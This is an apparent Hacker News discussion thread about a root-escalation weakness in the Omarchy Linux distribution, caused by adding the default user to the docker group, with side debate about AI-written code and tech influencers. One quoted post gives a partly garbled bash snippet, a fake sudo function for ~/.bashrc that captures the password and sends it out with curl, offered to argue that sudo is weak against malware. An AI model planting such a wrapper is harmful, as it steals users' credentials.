Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

111–120 of 584 posts

Re: Omarchy: Any User Process Can Escalate to Root

#111

Post by dzonga »

concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

the unfortunate thing - is the money pumped into omarchy + the hype around it .... a lot of sheepish followers will just follow the hype.

the tech might gets fixed later.

Re: Omarchy: Any User Process Can Escalate to Root

#112

Post by Aurornis »

exitb wrote: post #15

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

> but I’m not sure this should be framed as Omarchy-specific,

Adding the user to the docker group by default, out of the box, is Omarchy-specific.

EDIT: More accurately, was Omarchy specific, until they realized that it's not a good idea and changed it.

Re: Omarchy: Any User Process Can Escalate to Root

#114

Post by mike_hearn »

concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

"Someone" didn't find that, AI found it. So it's not clear what your point is about vibe coding. Would humans have noticed this problem, especially given that it's not remotely exploitable? (you have to plug in a malicious USB device).

Re: Omarchy: Any User Process Can Escalate to Root

#115

Post by itishappy »

silisili wrote: post #81
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

That is the appeal. It's an opinionated distro designed around keyboard navigation.

Re: Omarchy: Any User Process Can Escalate to Root

#117

Post by dragonwriter »

pibaker wrote: post #18

I was expecting a more sophisticated attack and then I scrolled down… > Omarchy configured its default user as a member of the Linux docker group. What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation. https://docs.docker.com/engine/install/linux-postinstall/ Why would you want to make this the default for your users, without even telling them? Did someone configured hi…

> Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro???

Isn't that the entire selling point of Omarchy?

Re: Omarchy: Any User Process Can Escalate to Root

#118

Post by [deleted] »

awesan wrote: post #103
onesandofgrain wrote: post #90

Earlier quoted context omitted.

This seems to be quite contrarian considering we had this on the front page of HN the other day: "Debian votes to allow "responsible use of generative AI". I guess this LLM coding wasn't "Responsible" enough. hahaha Let the AI bubble pop baby

Omarchy is all in on AI, if you look at the recent commits and the dev workflows they have set up you can easily tell no human is looking at all the stuff they are merging. It's not the same thing as allowing some AI contributions under strict guidelines.

[deleted]

Re: Omarchy: Any User Process Can Escalate to Root

#119

Post by mike_hearn »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.

Re: Omarchy: Any User Process Can Escalate to Root

#120

Post by heed »

esskay wrote: post #55
thehamkercat wrote: post #24

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

Add that annoying theo guy to that list. Cant stand these people, they confidently push out videos like they're experts, a week later it turns out whatever they were talking about was total crap and they've already abandoned it - case in point OpenClaw. Look at the mess of videos those named above put out about it, not a single one uses it anymore.

as primarily influencers they make money from your attention, not from promoting or making good software.
Post reply on HN